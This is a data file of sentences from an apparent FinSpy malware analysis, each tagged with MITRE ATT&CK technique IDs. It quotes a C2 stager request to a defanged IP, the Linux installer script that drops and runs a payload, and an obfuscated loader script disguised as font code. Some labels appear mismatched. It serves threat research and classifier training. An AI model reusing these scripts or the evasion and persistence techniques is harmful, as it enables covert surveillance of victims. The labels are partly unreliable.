{"sentence": "It is invalid, which indicates that the application has been patched.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the entry point function of the application looks clear, inspection of the executable’s PE file sections does reveal anomalies: the backdoored application has its last section (.rsrc on the screenshot below) expanded by 51 KB. Sections of the original (left) and backdoored (right) application Apart from that, a part of code from the .text section (roughly 8 KB) is overwritten with heavily obfuscated code, with the original application code placed in the expanded last section.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the backdoored application launches, it runs as normal, i.e. the inserted obfuscated code does not impact the application workflow.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "At some point the application executes a jump instruction that redirects execution to the obfuscated trampoline in the .text section.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This instruction appears to be placed randomly in the code.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "For example, a call to the CreateWindowExW function has been replaced: The original (left) and patched (right) code of the backdoored application This trampoline is protected with an obfuscator that we dubbed FinSpy Mutator.", "labels": ["T1027", "T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It launches a code that: Decrypts and launches a slightly modified Metasploit Reverse HTTPS stager.", "labels": ["T1071.001", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The decryption procedure: Is obfuscated with FinSpy Mutator Involves applying 10 operations (ADD, SUB, XOR, ROL, ROR) to every byte of the stager Is different in every backdoored installer.", "labels": ["T1027", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Restores the code in the .text section that was overwritten with the malicious code (recall that the original code is saved in the resource section)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Resolves relocations in the restored code Restores the instruction that has been overwritten with a jump Jumps to the restored instruction, thus resuming the execution of the original application.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Metasploit stager connects to a configured C2 server using HTTPS for communication.", "labels": ["T1071.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In the case of 5EDF9810355DE986EAD251B297856F38, the stager sends the following GET request to the C2 server:GET https://45[.]86[.]163[.]138/blog/ASVn6Wg5VbnZxiG2PSVbaSa-G8PmI2ew2zFBQGEZbDUEmx9mE88dw0Zxmu-AeuheOJYJ1F6kTh6uA0UJDkfISp--k6bGNOuULoTSlr-AXwvWapnFLOe4QEpqY_pe3uoGC88y3JqiQifHlRRqcE9whGX_-X14BIv35Q HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Host: 45[.]86[.]136[.]138 Connection: Keep-Alive Cache-Control: no-cache The C2 server replies with a component that we called the Pre-Validator in response to the GET request.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Metasploit stager launches it.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Pre-Validator The Pre-Validator is a shellcode obfuscated with FinSpy Mutator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On startup, it: Hooks the NtTerminateProcess and ExitProcess functions to make sure the Pre-Validator continues working if the backdoored application is closed.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The hooked functions close all the application’s windows but do not terminate its process.", "labels": ["T1071.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Makes an initial POST request to the C2 server.", "labels": ["T1071.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Example of the request URL: https://45[.]86[.]163[.]138/blog/index.asp?attachmentid=a46dee635db8017962741f99f1849471&d=5d7e89e6b4874d0df95141bd923556f8 (all parts of this URL vary between samples).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All communications between the server are encrypted with RC4.", "labels": ["T1573.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The reply to the initial POST request contains a shellcode that we called a Security Shellcode.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On receiving it, the Pre-Validator: Decrypts and executes the received Security Shellcode Sends the shellcode execution results to the C2 server via a POST request.", "labels": ["T1041", "T1071.001", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Receives the next Security Shellcode from the C2 server and repeats the steps above.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The nature of these shellcodes indicates that they are used to fingerprint the system and verify that it is not used for malware analysis.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is important to highlight that the shellcodes only collect the data, all the checks are performed server-side.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case a shellcode uploads suspicious execution results (e.g. the Pre-Validator is running on a virtual machine), the server provides a shellcode that terminates the Pre-Validator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The received shellcodes are protected with either FinSpy Mutator, an obfuscator resembling OLLVM or both these protectors.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "In total, we observed 33 Security Shellcodes provided by the server (listed in execution order): Shellcode # Description 1 Attempts to detect a hypervisor with the CPUID (EAX = 1) instruction.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "If detected, returns the hypervisor name (EAX = 0x40000000), otherwise returns zero bytes.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "2 Checks whether the current process needs to be impersonated (for example, if an unprivileged user runs the backdoored application as administrator).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "3 Returns the user’s profile folder (e.g. C:\\Users\\username) 4 Returns the short form of the user’s profile folder (e.g. C:\\Users\\abcdef~1) 5 Returns the type of the drive containing the backdoored application (e.g. removable drive) 6 Returns process names of the current process tree (i.e. the current process, the parent process, the grandparent process, etc.) 7 Returns the path to the ‘Program Files’ folder.", "labels": ["T1057", "T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "8 For the system drive", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": ", returns: Overall available space Space available to current user (may be less than overall available space due to quotas) Disk capacity 9 Returns the path to the user’s temporary folder. 10 Returns the list of network adapter types, IP and MAC addresses assigned to them. 11 Returns the list of running processes 12 Returns ProcessDebugPort value returned by NtQueryInformationProcess for current process. 13 Returns ProcessDebugObjectHandle value returned by NtQueryInformationProcess for current process. 14 Returns TotalNumberOfObjects and TotalNumberOfHandles values of objects created by NtCreateDebugObject.", "labels": ["T1016", "T1057", "T1082", "T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "15 Returns the current user’s SID.", "labels": ["T1033"], "doc_title": "FinSpy unseen findings"}
{"sentence": "16 Returns the list of images (EXE/DLL files) loaded into the current process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "17 Returns OSVERSIONINFOEXW and SYSTEM_INFO structures.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "18 Returns information about the machine’s BIOS.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "19 Returns the list of object names in the \\GLOBAL??", "labels": ["T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "directory.", "labels": ["T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "20 Returns information about the operating system.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "21 Returns the current user’s name, computer name, path to the current executable, its name and command line path.", "labels": ["T1033", "T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "22 Returns the list of loaded drivers.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "23 Returns the list of PDB paths of loaded drivers 24 Returns the first 16 bytes of the first exported Zw* function of ntdll.dll (ZwAcceptConnectPort) 25 Verifies the signature of the parent process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "26 Returns information about connected Plug and Play devices.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "27 Returns information about the computer system (from SELECT *", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "FROM Win32_ComputerSystem WMI query) 28 Returns the list of connected PCI devices. 29 Returns names of shortcuts in the Desktop directory.", "labels": ["T1047", "T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "30 Returns the list of top-level and child window class names not owned by the current or parent process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "31 Returns the list of top-level and child window titles not owned by the current or parent process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "32 Returns the current domain SID.", "labels": ["T1033"], "doc_title": "FinSpy unseen findings"}
{"sentence": "33 Cleans API functions potentially hooked by security solutions: Nt* functions in ntdll.dll and all exported functions in kernel32.dll, kernelbase.dll and advapi32.dll.", "labels": ["T1562.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once all security checks are passed, the C2 server sends a shellcode that downloads and runs the Post-Validator Installer.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Post-Validator Installer This module is an obfuscated shellcode.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It: Creates a subdirectory (name differs between samples) in the C:\\ProgramData directory Drops two files in the newly created subdirectory: The Post-Validator Loader DLL", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "A shellcode with the Post-Validator itself.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The file names are hardcoded in the dropper but are unique for each sample and appear to be randomly generated.", "labels": ["T1053.005"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Creates a scheduled task that runs at system startup and launches the Post-Validator Loader via regsvr32 (task action:", "labels": ["T1053.005"], "doc_title": "FinSpy unseen findings"}
{"sentence": "%windir%\\syswow64\\regsvr32.exe /s “<path to the Loader DLL>”) After the Post-Validator is installed, the Pre-Validator shuts down.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Post-Validator Loader The Post-Validator Loader is a huge (3-9 MB) obfuscated DLL.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Task Scheduler launches it at system startup through regsvr32.exe.", "labels": ["T1053.005"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Its main function is several megabytes in size, but despite that, its purpose is simple: read and execute a shellcode that is stored in the same directory as the Post-Validator Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Sample scheduled task properties The launched shellcode decrypts the Post-Validator (it is stored in the same file with the shellcode) with RC4 (key: domain SID) and reflectively loads it.", "labels": ["T1053.005", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Post-Validator The Post-Validator is a DLL obfuscated with VMProtect.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This module uses the same communication protocol that is used in the main Trojan component:", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The TLV (type-length-value) format to exchange data with C2 servers TLV type constants that are found in the Trojan The Trojan’s Cryptography Library to encrypt/decrypt exchanged data On startup, the Post-Validator verifies that it is not launched inside a sandbox environment.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It then starts communication with C2 servers specified in its configuration, sending heartbeat messages with 15-minute intervals.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Each heartbeat includes brief information about the victim machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The heartbeat reply may contain different commands.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "TLV ID Command purpose (inferred from the main Trojan) Implementation of command in the Post-Validator 0x8030A0 Retrieves the implant configuration.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8070A0 Retrieve the list of files with data prepared for exfiltration.", "labels": ["T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Sends back three strings in a TLV: 243a, 201a and 201b (‘virtual’ data file names) 0x8072A0 Upload a prepared file with a specified name to the C2 server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "If the prepared file name is: 201a, obtains the list of processes and sends it to the C2 server. 201b, gets the list of recent files and sends it to the C2 server. 243a, takes a screenshot and uploads it to the C2 server. 0x8054A0, 0x805BA0, 0x8056A0, 0x805DA0, 0x8057A0, 0x805EA0", "labels": ["T1041", "T1057", "T1083", "T1105", "T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands are used to download and install plugins.", "labels": ["T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands are used to download and run the Trojan Installer.", "labels": ["T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x801530, 0x801630, 0x801730, 0x8018A0 Uninstall the Trojan.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Uninstall the Pre-Validator. 0x7502A0 Disconnect from the C2 server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the Post-Validator receives the Trojan Installer (which is a DLL), it: Reflectively loads and launches the Installer", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Depending on the configuration, either uninstalls itself (by deleting its directory and the scheduled task) or goes to sleep until system reboot.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Based on the data collected by the Post-Validator, it is most likely that: The Post-Validator is deployed to ensure that the infected victim is the intended one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The C2 server operator manually analyzes data received from the victim and commands to either remove the Post-Validator or infect the machine with the Trojan.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Post-Validator is another obstacle for researchers.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Even if they manage to pass all the checks of the Pre-Validator, the C2 server operator may refuse to infect a suspicious machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Installer The Installer creates the working directory (path: %localappdata%\\Microsoft\\<two concatenated English words>) and sets it as being accessed, modified and created a year earlier.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Afterwards, it drops the following files to it: File name Description <4 random hexadecimal characters>.cab The setup configuration file, which is encrypted with RC4 (key: the name of the working directory).", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Names differ between samples The encrypted VFS file.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Initial Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "msvcr90.dll The Trojan bundle, encrypted with XOR and compressed with aPLib. msvcr120d.dll 64-bit Trojan loader.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The executable is prepended with 0x4000 random bytes and encrypted with RC4 (key: machine GUID) msvcr140d.dll 32-bit Trojan loader, also prepended with random bytes and encrypted with RC4.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The timestamps of dropped files are set to one year earlier than the current date.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once the working directory is prepared, the Installer launches the Trojan.", "labels": ["T1074.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Initial Loader The Initial Loader is a DLL that is launched on every startup by rundll32.exe (the Trojan adds it to the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run key, the value name is unique for each sample).", "labels": ["T1218.011", "T1547.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The size of the Initial Loader exceeds 5 MB.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is obfuscated with a protector resembling the open source OLLVM obfuscator.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Despite its size, the only functionality of the Initial Loader is to decrypt and launch the 32-bit Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader The 32-bit Trojan Loader, which is launched regardless of the victim machine architecture, checks if it is running on a 64-bit system.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "If so, it reads the 64-bit loader (msvcr120d.dll) from disk and runs it as a shellcode.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader (either the 32-bit or the 64-bit one): Reads the Trojan bundle file (dll), decrypts it with XOR and unpacks with aPLib.", "labels": ["T1027", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Injects the Trojan DLL into exe by either calling CreateRemoteThread or using the KernelCallbackTable technique.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "MacOS Infection The macOS version of the malware is not as complicated as the Windows one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is written in Objective-C. An obfuscator similar to OLLVM is used to protect FinSpy for Mac.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Additionally, Objective-C selectors that may reveal information about method names contain junk.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The macOS version of FinSpy has the following components: The Installer.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Unlike the Windows version that features numerous installers, the macOS version has only one installer type.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan that consists of the Orchestrator, the Cryptography Library and plugins.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Installer When the victim executes the malicious app, an executable located at the <malicious application name>.app/Contents/MacOS/installer path is launched.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On startup, it checks the environment for debuggers and virtual machines.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It drops the following files to the machine: Path Description /Library/Frameworks/Storage.framework A directory with the Trojan inside /private/etc/logind The Trojan loader that runs as a launch agent.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This file is executed on startup.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "/Library/LaunchAgents/logind.plist The configuration of the logind agent.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan needs it in order to maintain persistence.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All copied files are timestomped (modification date is the timestamp of Finder.app).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Installer sets their owner to root:wheel.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It additionally sets the SUID and SGID bits of the /private/etc/logind file.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "By copying the logind.plist file to the /Library/LaunchAgents directory the Installer configures the Trojan to load at startup.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Installer then launches the logind executable (Trojan Loader) with the launchctl utility.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Initial Loader The Initial Loader (/private/etc/logind) launches every time when the operating system boots up.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once launched, The Initial Loader launches the Trojan Loader (/Library/Frameworks/Storage.framework/Contents/MacOS/logind).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader The Trojan Loader has a constructor function that is invoked before main.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It sets hooks on functions that load application bundles.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "These hooks allow the Trojan to load plugins while decrypting them on the fly.", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once the hooks are placed, the Trojan Loader launches the Orchestrator (/Library/Frameworks/Storage.framework/Contents/Resources/dataPkg).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator (as well as plugins) are packed with aPLib and encrypted with AES.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the Orchestrator is unpacked, it is reflectively loaded.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Linux Infection The Linux version of FinSpy is protected with an obfuscator similar to OLLVM.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It has the same components as in the macOS version (Initial Loader, Trojan Loader, Orchestrator and plugins).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Installer Infection vectors used to deliver FinSpy for Linux are unknown.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The leaked FinFisher support questions database suggests physical access could be used to infect machines:", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "A question related to Linux infection which was submitted to FinFisher support in 2013", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The initial stage of the Installer is the following shell script:#!/bin/sh ELF_MAGIC=7f arch=`od -j4", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-N1 -An", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-t u1 < /bin/sh | tr -d ' '` case $arch in 1)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "ARCHIVE=`grep --text --line-number '^__x86xx__$' \"$0\" | cut -d ':'", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-f 1` ;; 2)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "ARCHIVE=`grep --text --line-number '^__x64xx__$' \"$0\" | cut -d ':'", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-f 1` ;; *) exit 0 ;; esac ARCHIVE=$((ARCHIVE+1)) tail -n +$ARCHIVE $0 > /tmp/udev2 && chmod +x /tmp/udev2 if [ -n \"$SUDO_USER\" ]; then su -c /tmp/udev2 $SUDO_USER else /tmp/udev2 fi if [ \"$?\"", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-eq 0 ];then rm -rf \"$0\" fi exit 0", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This script determines the victim machine architecture.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Depending on it, the script extracts either the 32-bit or the 64-bit second stage installer to the /tmp/udev2 file and launches it.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Both versions of the installer executable are appended to the Bash script.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The 32-bit version is delimited from the script with the __x86xx__ string, and the __x64xx__ string delimits the 64-bit version from the 32-bit one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The launched executable first checks if it is running in a virtual machine with: The CPUID assembly instruction The lspci command The dmesg command", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case a virtual machine is detected and the installed Trojan cannot be launched in a VM, the installer exits.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The working directory is located at the ~/<directory #1>/<directory #2> path.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Directory #1 and #2 can take the following names that are selected randomly: Directory #1 names Directory #2 names .cache .dbus .fontconfig .gconf .gnome .gnome2 .kde .local .qt .ssh .config .bin .sbin .etc .cfg .apps", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The installer then drops the Trojan to the working directory.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The name of the Trojan Loader file is one of the following: cpuset kthreadd ksnapd udevd dbus-daemon atd crond hald", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The plugin files have the <module ID>.so name, and the names of their configurations are <module ID>C.dat.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "After dropping the files, the Installer sets up persistence.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On KDE, it copies a Bash script to either ~/.kde4/Autostart/udev2.sh or ~/.kde/Autostart/udev2.sh.", "labels": ["T1059.003"], "doc_title": "FinSpy unseen findings"}
{"sentence": "On other desktop environments , it appends the same script to the ~/.profile file.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Initial Loader The Initial Loader is the following shell script:", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "if [ ! -n", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "\"$CS_FONT\" ]; then # Load fonts by id CS_FONT_RID=\"<hexadecimal-encoded working directory path>\" CS_FONT_ID=\"<hexadecimal-encoded Trojan Loader filename>\" CS_FONT_COL=\"6364\" CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc 2>/dev/null|awk '{printf(\"%c\",$0)}'` CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc 2>/dev/null|awk '{printf(\"%c\",$0)}'` CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc 2>/dev/null|awk '{printf(\"%c\",$0)}'` if [ ! -n", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "\"$CS_FONT_COLF\" ]; then CS_FONT_COLF=$(for i in `echo ${CS_FONT_COL} |sed 's/../& /g'`; do echo \"000000 $i\" | xxd -r; done)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "CS_FONT_SID=$(for i in `echo ${CS_FONT_RID} |sed 's/../& /g'`; do echo \"000000 $i\" | xxd -r; done)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "CS_FONT_LOAD=$(for i in `echo ${CS_FONT_ID} |sed 's/../& /g'`; do echo \"000000 $i\" | xxd -r; done) fi ${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1 && ${CS_FONT_COLF} - > /dev/null 2>&1 unset CS_FONT_ID unset CS_FONT_COLF unset CS_FONT_SID unset CS_FONT_LOAD fi This script decodes the directory path and the Trojan Loader from hexadecimal and executes the “cd <working directory path> && ./<loader", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "filename> > /dev/null 2>&1 && cd – > /dev/null 2>&1″ command, thus launching the Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader When launched, the Trojan Loader: Checks if it is being debugged with the ptrace function and exits if it is.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Reads the Orchestrator file from disk and unpacks it with aPLib.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Reflectively loads and launches the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Overview of the Windows Trojan components The Windows version of the Trojan consists of the following components: The Hider, the first launched component.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It starts the Orchestrator and conceals memory areas that contain the Trojan components’ code and data.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator, a DLL which is responsible for managing installed plugins and preparing data to be sent to the C2 server Plugins, DLL modules that perform malicious activities on the victim machine The virtual file system (VFS) which allows the Orchestrator and other plugins to seamlessly interact with plugins and their configurations The ProcessWorm module which intercepts system activity.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Similar to a network worm which infects machines in the local network, the ProcessWorm is injected into all running processes.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once a process is infected, the ProcessWorm spreads to its children.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Communicator module which sends data to the C2 server and receives replies The Hider The Hider is the first launched component of the Backdoor.", "labels": ["T1041"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is a valid PE file protected with the FinSpy VM.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On startup, the Hider loads a clean copy of ntdll.dll from disk, which is used when calling API functions from this library.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "After that, it decrypts the Orchestrator, which is stored in the Hider’s resource section.", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is encrypted with a 256-byte RC4 key.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "which is unscrambled at runtime using addition, subtraction and XOR operations.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The key may vary from one sample to another.", "labels": ["T1573.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "A snippet of the RC4 key generation function After decrypting and unpacking the Orchestrator, the Hider reflectively loads it.", "labels": ["T1027", "T1140", "T1573.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The hiding functionality Before transferring execution to the Orchestrator’s entry point, the Hider activates its concealing functionality.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It works as follows: The Hider encrypts the Orchestrator’s pages with a cipher based on XOR and ROL operations and assigns the PAGE_NOACCESS attribute to them When the Orchestrator accesses hidden pages, the operating system generates an ACCESS_VIOLATION exception The Hider detects the generated exception through the hook of the KiUserExceptionDispatcher function, which handles dispatching of all exceptions The hooked function decrypts the hidden page and assigns it the PAGE_EXECUTE_READWRITE attribute, thus handling the exception The Hider conceals the unhidden pages again within 30 seconds.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Hider also protects plugins loaded by the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator The Orchestrator is the core module of the Trojan that controls all plugins and manages C2 server communications.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the Orchestrator starts up, it: Hooks its own IAT (import address table) to alter the behavior of WinAPI file manipulation functions.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator needs these hooks to interact with the VFS.", "labels": ["T1547.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Sets up persistence by creating an entry in the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key.", "labels": ["T1547.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Reads the Orchestrator configuration and loads installed plugins.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "An interesting fact about the Orchestrator is that it erases its PE structures and code of initialization procedures.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This trick is designed to make it more difficult to detect this component in memory and conduct analysis of its dumps.", "labels": [], "doc_title": "FinSpy unseen findings"}
